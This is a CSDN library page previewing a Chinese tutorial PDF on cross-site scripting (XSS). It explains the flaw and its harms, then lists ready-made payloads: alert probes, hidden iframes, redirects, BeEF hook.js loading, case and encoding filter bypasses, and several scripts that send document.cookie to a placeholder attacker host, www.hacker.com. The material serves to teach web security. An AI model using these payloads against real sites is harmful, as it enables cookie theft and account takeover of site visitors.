云计算安全XSS跨站攻击.pdf资源-CSDN文库

需积分: 12 47 浏览量 2021-01-14 21:25:04 上传评论收藏 3.15MB PDF 举报

资源推荐

资源详情

资源评论

跨站脚本攻击 XSS



1. XSS简介

2. 原理解析

跨站脚本（cross site script）为了避免与样式css混淆，所以简称为XSS。

XSS是一种经常出现在web应用中的计算机安全漏洞，也是web中最主流的攻击方式。那么什么是XSS呢？

XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点，进而添加一些代码，嵌入到web页

面中去。使别的用户访问都会执行相应的嵌入代码。

从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

XSS攻击的危害包括：

1、盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击

3.3 构造XSS脚本

alert alert() 方法用于显示带有一条指定消息和一个确认按钮的警告框

window.location window.location 对象用于获得当前页面的地址 (URL)，并把浏览器重定向到新的页面。

location.href 返回当前显示的文档的完整 URL

onload 一张页面或一幅图像完成加载

onsubmit 确认按钮被点击

onerror 在加载文档或图像时发生错误

弹框警告

此脚本实现弹框提示，一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号', 一旦此脚本能执行，也就意

味着后端服务器没有对特殊字符做过滤<>/' 这样就可以证明，这个页面位置存在了XSS漏洞。

<script>alert('xss')</script>

<script>alert(document.cookie)</script>

页面嵌套

<iframe src=http://www.baidu.com width=300 height=300></iframe>

<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

页面重定向

<script>window.location="http://www.qfedu.com"</script>

<script>location.href="http://www.baidu.com"</script>

弹框警告并重定向

<script>alert("请移步到我们的新站");location.href="http://www.qfedu.com"</script>

<script>alert('xss');location.href="http://10.1.64.35/mutillidae/robots.txt"</script>

这里结合了一些社工的思路，例如，通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信

息，则可能在另外的站点重新登录账户（克隆网站收集账户）

访问恶意代码

<script src="http://www.qfedu.com/xss.js"></script>

<script src="http://BeEF_IP:3000/hook.js"></script> #结合BeEF收集用户的cookie

巧用图片标签

<img src="#" onerror=alert('xss')>

<img src="javascript:alert('xss');">

<img src="http://BeEF_IP:3000/hook.js"></img>

绕开过滤的脚本

大小写 <ScrIpt>alert('xss')</SCRipt>

字符编码采用URL、Base64等编码

<a

href="javascript:aler&#116

;("xss")">yangge</a>

收集用户cookie

打开新窗口并且采用本地cookie访问目标网页，打开新窗口并且采用本地cookie访问目标网页。

<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>

<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>

<script>new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script>

<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>

<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>

剩余21页未读，继续阅读

内容反馈

liuqi66

粉丝: 17
资源: 15

最新资源

资源上传下载、课程学习等过程中有任何疑问或建议，欢迎提出宝贵意见哦~我们会及时处理！点击此处反馈

feedback-tip